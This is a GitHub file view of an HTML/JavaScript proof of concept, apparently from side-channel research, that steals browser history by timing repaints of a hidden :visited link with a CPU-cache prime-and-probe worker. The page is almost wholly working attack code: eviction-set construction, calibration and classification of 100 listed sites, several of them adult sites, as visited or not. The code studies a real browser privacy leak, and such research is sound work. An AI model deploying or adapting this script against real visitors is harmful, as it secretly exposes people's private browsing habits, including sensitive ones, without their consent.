-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMethodB_CPUCache.html
More file actions
576 lines (502 loc) · 27.9 KB
/
MethodB_CPUCache.html
File metadata and controls
576 lines (502 loc) · 27.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
<html>
<head>
<style>
.attack {
font-size: 2px;
color: white;
}
.attack:visited { color: #feffff; }
</style>
</head>
<body>
<table id="tbl-params">
<tr>
<td colspan="2" style="border-bottom: 1px dashed;text-align: center">
<b>Stealing Browser History Through Side Channels: CPU Cache - Method B</b>
</td>
</tr>
<tr>
<td>
Text Length: <input id="textLength" dir="rtl" size="1" value=38 onKeyUp=resizeText()></input>(K) Characters
</br>
Cache Sets: <input id="csets" dir="rtl" size="1" value=4096 onKeyUp=resizeSets()></input> Cache Ways: <input id="cways" dir="rtl" size="1" value=16 onKeyUp=resizeWays()></input>
</td>
<td>
<button id="run" onclick="init()">RUN</button>
</td>
</tr>
</table>
<a id="a0" class="attack"></a>
<div id="res"></div>
<div id="visited-div"></div>
<div id="unvisited-div"></div>
<script>
// variables and constants for CPU Cache-Based Side Channel
const COUNT_SWEEPS = true;
var CACHE_SETS = 4096; var CACHE_WAYS = 16; // CACHE_SETS variable is set to 8192 for Win-Chrome system. Change it to 4096 for Mac-M1-Chrome system
var MEASUREMENT_TIME_IN_MS = 2500;
var SAMPLING_PERIOD_IN_MS = MEASUREMENT_TIME_IN_MS; // 2ms for Win-Chrome system. Change to 10ms for Mac-M1-Chrome system.
const SET_SKIPPING_STEP = 2;
// Worker thread message type constants
const CREATE_PP_OBJECT = 1, PROBE_ALL_SETS = 2, PERFORM_MEASUREMENT = 3, DELETE_PP_OBJECT = 4;
</script>
<script id="cacheWorkerSource" <!-- -->type = "javascript/worker" >
// WORKER THREAD
// worker constants
0; // otherwise VSCode complains...
const BYTES_PER_MB = 1024*1024;
const SETS_PER_PAGE = 64;
// Worker thread message type constants
//const CREATE_PP_OBJECT = 1, PROBE_ALL_SETS = 2, PERFORM_MEASUREMENT = 3;
// Prime and probe object
function PrimeProbe(sets, ways) {
this.evictionArray = new Uint32Array(32 * BYTES_PER_MB / Uint32Array.BYTES_PER_ELEMENT);
this.setHeads = new Array(SETS_PER_PAGE);
this.probeSet = function (setOffset) {
// Go over all elements in the set
var pointer = this.setHeads[setOffset];
var listHead = pointer;
do {
pointer = this.evictionArray[pointer];
} while (pointer != listHead);
return pointer;
}
this.probeSetLimited = function (setOffset, hops) {
// Go over all elements in the set
var pointer = this.setHeads[setOffset];
var listHead = pointer;
do {
pointer = this.evictionArray[pointer];
hops--;
} while ((hops != 0) && (pointer != listHead));
return pointer;
}
this.probeSets = function (sets) {
// Probe some of the sets in the page
for (setOffset in sets) {
this.probeSet(sets[setOffset]);
}
}
this.probeAllSets = function(setSkippingStep) {
for (var set=0;set < SETS_PER_PAGE; set += setSkippingStep) {
this.probeSet(set);
}
}
this.shuffle = function (arrayToShuffle) {
var tmp, current, top = arrayToShuffle.length;
if (top) while (--top) {
current = Math.floor(Math.random() * (top + 1));
tmp = arrayToShuffle[current];
arrayToShuffle[current] = arrayToShuffle[top];
arrayToShuffle[top] = tmp;
}
return arrayToShuffle;
}
this.createSetHeads = function (sets, ways) {
// We have 64 set heads, each should to a list of size 128*[ways]=1536
var unshuffledArray = new Uint32Array(sets / SETS_PER_PAGE);
var allSetOffset = Math.log2(sets) + 4; // 17 for sets=8192, 16 for sets=4096
var i;
for (i = 0; i < unshuffledArray.length; i++) {
unshuffledArray[i] = i;
}
// Shuffle the array
var shuffledArray = this.shuffle(unshuffledArray);
// Now write into the eviction buffer
// virtual address is:
// LLL LEEE EEEE SSSS SS00 00[00] (last 2 bits are because of UINT32 vs BYTE)
// ^^^^ ^^ - these 6 bits determine the set index, 64 possible values
// ^^^^ ^^^^ ^^ ^^ - these 12 bits (4K) are the same in physical and in virtual
// ^^^ ^^^^ we keep the set and change these 6/7 bits to 64/128 different values to cover all 8192=128*64 sets
// ^^^ ^ - we use 12/16 different values for this to touch each set 12/16 times, once per line
var set_index, element_index, line_index;
var currentElement, nextElement;
for (set_index = 0; set_index < SETS_PER_PAGE; set_index++) {
currentElement = (shuffledArray[0] << 10) + (set_index << 4);
this.setHeads[set_index] = currentElement;
for (line_index = 0; line_index < ways; line_index++) {
//currentElement = (line_index << 17) + (shuffledArray[0] << 10) + (set_index << 4);
for (element_index = 0; element_index < sets / SETS_PER_PAGE - 1; element_index++) {
nextElement = (line_index << allSetOffset) + (shuffledArray[element_index + 1] << 10) + (set_index << 4);
this.evictionArray[currentElement] = nextElement;
currentElement = nextElement;
} // element
if (line_index == ways - 1) {
// In the last line, the last pointer goes to the head of the entire set
nextElement = this.setHeads[set_index];
} else {
// Last pointer goes back to the head of the next line
nextElement = ((line_index + 1) << allSetOffset) + (shuffledArray[0] << 10) + (set_index << 4);
}
this.evictionArray[currentElement] = nextElement;
currentElement = nextElement;
} // line
} // set
};
this.createSetHeads(sets, ways);
// check that this doesn't crash/get stuck
this.probeSets([1, 2, 3, 4, 5]);
} // PP object.
PP = {}; // new PrimeProbe(CACHE_SETS, CACHE_WAYS);
var resultArray = {}; // new Array (Math.ceil(MEASUREMENT_TIME_IN_MS / SAMPLING_PERIOD_IN_MS));
function performMeasurement(setSkippingStep, countSweeps, measurementTime, bufff) {
var [bufff2] = bufff;
var buff = new Uint32Array(bufff2);
// For each measurement period
var busySpins = 0;
var currentTime = performance.now();
var duration = currentTime + measurementTime;
if (countSweeps == true) {
do {
PP.probeAllSets(setSkippingStep);
buff[0]++;
currentTime = performance.now();
//console.log("sweeps: " + buff[0]);
} while (currentTime < duration);
}
}
// Sampling:
onmessage = function (e) {
// Demultiplex the message from the main thread.
switch (e.data.type) {
case 1:
PP = new PrimeProbe(e.data.sets, e.data.ways);
break;
case 2:
var startTime = performance.now();
PP.probeAllSets();
result.time = performance.now() - startTime;
postMessage(result);
break;
case 3:
performMeasurement(
e.data.set_skipping_step,
e.data.count_sweeps,
e.data.measurement_time,
e.data.buff
);
postMessage(resultArray);
break;
case 4:
PP.evictionArray = null;
PP = null;
self.close();
} // switch
} // onmessage
</script>
<script>
// MAIN THREAD
// number of baseline samples for visited and unvisited,
// and reset number
const num_of_attempts = 10, reset_mod = 7;
// text used to populate the <a> tag
const BASE_TEXT = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
// handle to requestAnimationFrame API
requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
// 50 URLs for visited state, used for validation
var visited_urls = ["https://www.google.com/", "https://www.youtube.com/", "https://www.pornhub.com/", "https://www.facebook.com/", "https://www.reddit.com/", "https://www.amazon.com/", "https://twitter.com/", "https://www.xvideos.com/", "https://www.yahoo.com/", "https://www.wikipedia.org/", "https://weather.com/", "https://www.fandom.com/", "https://www.instagram.com/", "https://duckduckgo.com/", "https://www.walmart.com/", "https://www.xnxx.com/", "https://www.bing.com/", "https://www.tiktok.com/", "https://xhamster.com/", "https://www.ebay.com/", "https://www.cnn.com/", "https://onlyfans.com/", "https://www.taboola.com/", "https://www.usps.com/", "https://www.twitch.tv/", "https://www.quora.com/", "https://www.foxnews.com/", "https://www.espn.com/", "https://chaturbate.com/", "https://www.nytimes.com/", "https://www.tremendous.com/", "https://www.imdb.com/", "https://www.paypal.com/us/home", "https://outlook.live.com/owa/", "https://www.etsy.com/", "https://www.linkedin.com/feed/", "https://gamerant.com/", "https://www.netflix.com/", "https://www.office.com/", "https://simpcity.su/", "https://www.accuweather.com/", "https://www.ups.com/us/en/global.page", "https://www.microsoft.com/en-us/?ql=4", "https://discord.com/", "https://www.msn.com/", "https://www.pinterest.com/", "https://www.dailymail.co.uk/ushome/index.html", "https://www.blogger.com/about/?bpli=1", "https://www.apple.com/", "https://www.indeed.com/"];
// 50 URLs for unvisited state, used for validation
var unvisited_urls = ["https://www.bestbuy.com/", "https://www.fedex.com/global/choose-location.html", "https://zoom.us/", "https://www.tumblr.com/", "https://www.target.com/", "https://stripchat.com/", "https://www.ign.com/" , "https://www.ign.com/", "https://nypost.com/", "https://www.patreon.com/", "https://www.zillow.com/", "https://www.gamespot.com/", "https://open.spotify.com/?", "https://www.samsung.com/us/", "https://www.livejasmin.com/en/girls/", "https://www.homedepot.com/", "https://www.roblox.com/", "https://www.erome.com/", "https://www.eporner.com/", "https://www.capitalone.com/", "https://github.com/", "https://www.marca.com/", "https://newyork.craigslist.org/", "https://www.hulu.com/welcome", "https://www.instructure.com/", "https://steamcommunity.com/", "https://www.xfinity.com/national/", "https://www.bbc.com/", "https://www.chase.com/", "https://gogoanime.gr/", "https://www.youporn.com/", "https://www.t-mobile.com/", "https://www.usatoday.com/", "https://wordpress.com/", "https://www.healthline.com/", "https://www.lowes.com/", "https://www.washingtonpost.com/", "https://www.adobe.com/", "https://quizlet.com/", "https://www.yelp.com/", "https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration?ms.officeurl=sharepoint&rtc=1", "https://www.att.com/", "https://aws.amazon.com/", "https://nextdoor.com/", "https://www.android.com/", "https://linktr.ee/", "https://www.macys.com/", "https://www.cnbc.com/", "http://microsoftonline.com/", "http://dood.re/"];
// 100 test URLs used during the attack
var urls = ["https://www.google.com/", "https://www.youtube.com/", "https://www.pornhub.com/", "https://www.facebook.com/", "https://www.reddit.com/", "https://www.amazon.com/", "https://twitter.com/", "https://www.xvideos.com/", "https://www.yahoo.com/", "https://www.wikipedia.org/", "https://weather.com/", "https://www.fandom.com/", "https://www.instagram.com/", "https://duckduckgo.com/", "https://www.walmart.com/", "https://www.xnxx.com/", "https://www.bing.com/", "https://www.tiktok.com/", "https://xhamster.com/", "https://www.ebay.com/", "https://www.cnn.com/", "https://onlyfans.com/", "https://www.taboola.com/", "https://www.usps.com/", "https://www.twitch.tv/", "https://www.quora.com/", "https://www.foxnews.com/", "https://www.espn.com/", "https://chaturbate.com/", "https://www.nytimes.com/", "https://www.tremendous.com/", "https://www.imdb.com/", "https://www.paypal.com/us/home", "https://outlook.live.com/owa/", "https://www.etsy.com/", "https://www.linkedin.com/feed/", "https://gamerant.com/", "https://www.netflix.com/", "https://www.office.com/", "https://simpcity.su/", "https://www.accuweather.com/", "https://www.ups.com/us/en/global.page", "https://www.microsoft.com/en-us/?ql=4", "https://discord.com/", "https://www.msn.com/", "https://www.pinterest.com/", "https://www.dailymail.co.uk/ushome/index.html", "https://www.blogger.com/about/?bpli=1", "https://www.apple.com/", "https://www.indeed.com/", "https://www.bestbuy.com/", "https://www.fedex.com/global/choose-location.html", "https://zoom.us/", "https://www.tumblr.com/", "https://www.target.com/", "https://stripchat.com/", "https://www.ign.com/", "https://www.ign.com/", "https://nypost.com/", "https://www.patreon.com/", "https://www.zillow.com/", "https://www.gamespot.com/", "https://open.spotify.com/?", "https://www.samsung.com/us/", "https://www.livejasmin.com/en/girls/", "https://www.homedepot.com/", "https://www.roblox.com/", "https://www.erome.com/", "https://www.eporner.com/", "https://www.capitalone.com/", "https://github.com/", "https://www.marca.com/", "https://newyork.craigslist.org/", "https://www.hulu.com/welcome", "https://www.instructure.com/", "https://steamcommunity.com/", "https://www.xfinity.com/national/", "https://www.bbc.com/", "https://www.chase.com/", "https://gogoanime.gr/", "https://www.youporn.com/", "https://www.t-mobile.com/", "https://www.usatoday.com/", "https://wordpress.com/", "https://www.healthline.com/", "https://www.lowes.com/", "https://www.washingtonpost.com/", "https://www.adobe.com/", "https://quizlet.com/", "https://www.yelp.com/", "https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration?ms.officeurl=sharepoint&rtc=1", "https://www.att.com/", "https://aws.amazon.com/", "https://nextdoor.com/", "https://www.android.com/", "https://linktr.ee/", "https://www.macys.com/", "https://www.cnbc.com/", "http://microsoftonline.com/", "http://dood.re/"];
// the variable shared between worker and main threads
var bufferSharedArray = new SharedArrayBuffer(Int32Array.BYTES_PER_ELEMENT); var sharedVariable = new Uint32Array(bufferSharedArray);
// handles for worker thread, <a> tag, UI table, as well as parameters for
// phase (calibration vs test), visited flag and swap used for URL changing pattern during
// repaint, attempt number out of 10 during calibration, url index out of 100 test URLs
// current target url during test phase, and counting the tests until it's time to reset
var myWorker, targetNode, paramsTable, phase, visited_flag, swap, attempt_number, url_index, curr_url, reset;
// baseline values for changed and not changed
var med_changed, med_notchanged;
// time base as when the attack starts either for calibration or test
// as well as time taken to calibrate and test the URLs
var time_base, time_calibrate, time_test;
// variables used to collect and process the side channel measurements
var measurement_values = [], measure_sweeps = [];
// generate the text with defined length
function arbitraryLengthText(inputText, requestedLength) {
let outputString = inputText;
while (outputString.length < requestedLength) {
outputString += outputString;
}
return outputString.substring(0, requestedLength);
}
// shuffle the array
// https://stackoverflow.com/questions/2450954/how-to-randomize-shuffle-a-javascript-array
function shuffle(array) {
let currentIndex = array.length, randomIndex;
while (currentIndex != 0) {
randomIndex = Math.floor(Math.random() * currentIndex);
currentIndex--;
[array[currentIndex], array[randomIndex]] = [
array[randomIndex], array[currentIndex]];
}
return array;
}
// median of array
function median(arr) {
arr = arr.sort(function (a, b) { return a - b });
var length = arr.length;
if (length % 2 == 1) {
return arr[(length / 2) - .5]
}
else {
return (arr[length / 2] + arr[(length / 2) - 1]) / 2;
}
}
// remove items with particular value from array
function removeItemAll(arr, value) {
let i = 0;
while (i < arr.length) {
if (arr[i] === value) {
arr.splice(i, 1);
} else {
++i;
}
}
return arr;
}
// set the size of LLC
function resizeSets() { CACHE_SETS = parseInt(document.getElementById("csets").value); }
// set the number of cache ways in LLC
function resizeWays() { CACHE_WAYS = parseInt(document.getElementById("cways").value); }
// listener for messages from worker thread
function handleMessageFromWorker(msg) {
if(msg.data == '') return;
if(phase == "calibrate") {
report_base();
} else if(phase == "test") {
report_test();
}
}
// prepare the worker thread for CPU cache side channel measurements
function CPUPrep() {
let blob = new Blob([
document.querySelector('#cacheWorkerSource').textContent
], { type: "text/javascript" })
myWorker = new Worker(window.URL.createObjectURL(blob));
myWorker.addEventListener('message', handleMessageFromWorker);
myWorker.postMessage({type:CREATE_PP_OBJECT, sets: CACHE_SETS, ways: CACHE_WAYS});
}
// start the side channel measurements in the worker thread
function CPUGo(tt) {
sharedVariable[0] = 0;
myWorker.postMessage({type:PERFORM_MEASUREMENT, measurement_time : tt, set_skipping_step : SET_SKIPPING_STEP, count_sweeps: COUNT_SWEEPS, buff: [bufferSharedArray]});
}
// terminate the worker thread
function CPUStop() { myWorker.postMessage({type:DELETE_PP_OBJECT}); }
// set the text inside the <a> tag
function resizeText() { document.getElementById('a0').innerText = arbitraryLengthText(BASE_TEXT, Math.pow(2,10)*parseInt(document.getElementById("textLength").value)); }
// initialize the attack
function init() {
// shared variable initialized to 0
sharedVariable[0] = 0;
// hide the HTML tags used for reporting the attack results
document.getElementById("res").innerText = '';
document.getElementById("visited-div").innerHTML = '';
document.getElementById("unvisited-div").innerHTML = '';
// prepare the worker thread for side channel meaurements
resizeSets(); resizeWays(); CPUPrep();
// set the text inside the <a> tag and shuffle the 100 test URLs
resizeText(); shuffle(urls);
// set the handle to the <a> tag and UI table
targetNode = document.getElementById('a0'); paramsTable = document.getElementById('tbl-params');
// start the calibration (baseline measurements)
go_base();
}
// calibration phase of the attack
function go_base() {
// hide the UI and display the <a> tag
paramsTable.style.display = "none"; targetNode.style.display = 'block';
// initialize the paramaters
phase = "calibrate", swap = false, attempt_number = 0, visited_flag = true, measurement_values = [];
// initialize the <a> tag to a randomly generated unvisited URL
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
// start side channel measurements
CPUGo(2000);
// set the start time
time_base = performance.now();
// set the callback for repaint
requestAnimationFrame(onAnimateBase);
}
// repaint callback for baseline measurements
function onAnimateBase() {
// check if reached the number of attempts for changed state, and
// if so, change the flag to start measurements for not changed state,
if(visited_flag && attempt_number == num_of_attempts) visited_flag = false;
if(attempt_number >= (num_of_attempts*2)) {
// collect the last measurement value
measurement_values[attempt_number] = sharedVariable[0];
// calculate the calibration time
time_calibrate = (performance.now() - time_base).toFixed(3);
return;
}
if(visited_flag) {
// attempt to measure the changed baseline?
if(swap) {
swap = false;
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
} else {
swap = true;
targetNode.href = location.href; targetNode.style.color = 'white'; targetNode.style.color = '';
}
} else {
// or attempt to measure the not changed baseline
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
}
// collect the side channel measurement, and increment the attempt number
measurement_values[attempt_number] = sharedVariable[0]; attempt_number++;
// set the callback for repaint
requestAnimationFrame(onAnimateBase);
}
// when worker thread finishes the calibration measurements,
// calculate the medians for changed vs not changed as baselines
function report_base() {
// measurements in calibration phase are finished
phase = "finished_calibrate!";
// get the measurements for changed baseline
measure_sweeps = [];
for(let i = 0; i < num_of_attempts; i++) {
measure_sweeps[i] = measurement_values[i+1] - measurement_values[i];
if(measurement_values[i] == 0) measure_sweeps[i] = 0;
}
// remove 0 values, as non-useful measurements
measure_sweeps = removeItemAll(measure_sweeps, 0);
// median of changed as baseline
med_changed = median(measure_sweeps);
// get the measurements for not changed baseline
measure_sweeps = [];
for(let i = num_of_attempts; i < (num_of_attempts*2); i++) {
measure_sweeps[i-num_of_attempts] = measurement_values[i+1] - measurement_values[i];
}
// remove 0 values, as non-useful measurements
measure_sweeps = removeItemAll(measure_sweeps, 0);
// median of not changed as baseline
med_notchanged = median(measure_sweeps);
// start testing with 100 target URLs
go_test();
}
// test phase of the attack
function go_test() {
// hide the UI table and show the <a> tag
paramsTable.style.display = "none"; targetNode.style.display = 'block';
//initiate the variables
phase = "test"; swap = false; attempt_number = 0; url_index = 0; reset = true; measurement_values = [];
// set the <a> tag to a randomly generated unvisited URL
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
// start cache side channel measurements
CPUGo(3000);
// record the start time of attack
time_base = performance.now();
// set callback for repaint
requestAnimationFrame(onAnimateTest);
}
// callback for repaint to test 100 target URLs
function onAnimateTest() {
// collect the side channel measurement
measurement_values[url_index] = sharedVariable[0];
if(url_index < 100 && (url_index%reset_mod) == 0 && reset) {
// reset step in Method B
reset = false;
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
// set the callback for repaint
requestAnimationFrame(onAnimateTest);
} else if(url_index < 100) {
// test step in Method B
reset = true;
targetNode.href = urls[url_index]; targetNode.style.color = 'white'; targetNode.style.color = '';
url_index++;
// set the callback for repaint
requestAnimationFrame(onAnimateTest);
} else if(url_index >= 100) {
// reached the end of list of URLs
// calculate the attack time
time_test = (performance.now() - time_base).toFixed(3);
return;
}
}
// predict the URL state based on measurements
function report_test() {
// side channel measurements for 100 URLs are finished
phase = "finished!";
// hide the <a> tag and show the UI table
targetNode.style.display = 'none'; paramsTable.style.display = "inline";
// get the handle to HTML tags to show the attack results
document.getElementById("res").style.color = 'black'; document.getElementById("res").style.font = "10px";
// get the handle to HTML tags to show the list of predicted visited vs unvisited URLs
document.getElementById("visited-div").innerHTML = '</br><b>Visited URLs:</b></br>';
document.getElementById("unvisited-div").innerHTML = '</br><b>Unvisited URLs:</b></br>';
// variables to count number of correct predictions for visited and unvisited URLs
let true_count_visited = 0, true_count_unvisited = 0;
// variables for state and side channel measurement for each URL
let states = [], sweeps = [];
// variables to current URL index and measurement
let curr_idx, curr_trace;
// predict for each URL based on side channel measurement
for(curr_idx = 0; curr_idx < 100; curr_idx++) {
// the difference between two measurements is used for a URL
curr_trace = measurement_values[curr_idx+1] - measurement_values[curr_idx];
if((curr_idx%reset_mod) == 0) {
// right after the reset, we know previous URLs unvisited
if(Math.abs(curr_trace - med_changed)< Math.abs(curr_trace - med_notchanged)) {
// current trace is closer to changed baseline, it is predicted as viisted
states[curr_idx] = 1;
if(visited_urls.indexOf(urls[curr_idx]) > -1) true_count_visited++;
document.getElementById("visited-div").innerHTML += '<a href=' + urls[curr_idx] + ' >' + urls[curr_idx] + '</a></br>';
} else {
// current trace is closer to not changed baseline, it is predicted as unvisited
states[curr_idx] = 0;
if(unvisited_urls.indexOf(urls[curr_idx]) > -1) true_count_unvisited++;
document.getElementById("unvisited-div").innerHTML += '<a href=' + urls[curr_idx] + ' >' + urls[curr_idx] + '</a></br>';
}
} else {
// we should decide based on the state of previous URL
if(Math.abs(curr_trace - med_changed)< Math.abs(curr_trace - med_notchanged)) {
// current trace is closer to changed baseline
if(states[curr_idx-1] == 0) {
// previous state is unvisited, so current URL is predicted as visited
states[curr_idx] = 1;
if(visited_urls.indexOf(urls[curr_idx]) > -1) true_count_visited++;
document.getElementById("visited-div").innerHTML += '<a href=' + urls[curr_idx] + ' >' + urls[curr_idx] + '</a></br>';
} else {
// previous state is visited, so current URL is predicted as unvisited
states[curr_idx] = 0;
if(unvisited_urls.indexOf(urls[curr_idx]) > -1) true_count_unvisited++;
document.getElementById("unvisited-div").innerHTML += '<a href=' + urls[curr_idx] + ' >' + urls[curr_idx] + '</a></br>';
}
} else {
// current trace is closer to not changed baseline
if(states[curr_idx-1] == 1) {
// previous state is visited, so current URL is predicted as visited
states[curr_idx] = 1;
if(visited_urls.indexOf(urls[curr_idx]) > -1) true_count_visited++;
document.getElementById("visited-div").innerHTML += '<a href=' + urls[curr_idx] + ' >' + urls[curr_idx] + '</a></br>';
} else {
// previous state is unvisited, so current URL is predicted as unvisited
states[curr_idx] = 0;
if(unvisited_urls.indexOf(urls[curr_idx]) > -1) true_count_unvisited++;
document.getElementById("unvisited-div").innerHTML += '<a href=' + urls[curr_idx] + ' >' + urls[curr_idx] + '</a></br>';
}
}
}
// record the actual state and measuremnet for the URL
states[curr_idx] = visited_urls.indexOf(urls[curr_idx]) > -1 ? 1 : 0;
sweeps[curr_idx] = curr_trace;
}
// report the attack results in the UI
let resultNode = document.getElementById("res");
resultNode.innerText += "\n Changed Median: " + med_changed;
resultNode.innerText += "\n Not Changed Median: " + med_notchanged;
resultNode.innerText += "\n Visited (TP): " + true_count_visited;
resultNode.innerText += "\n Unvisited (TN): " + true_count_unvisited;
//resultNode.innerText += "\n # of tested URLs: " + urls.length;
resultNode.innerText += "\n Attack Accuracy: " + (((true_count_visited + true_count_unvisited)/(visited_urls.length+unvisited_urls.length))*100).toFixed(0)+'%';
resultNode.innerText += "\n Calibration Time : " + (time_calibrate/1000).toFixed(3) + "s";
resultNode.innerText += "\n Test Time : " + (time_test/1000).toFixed(3) + "s";
//resultNode.innerText += "\n state: " + states;
//resultNode.innerText += "\n sweeps: " + sweeps;
CPUStop();
}
</script>
</body>
</html>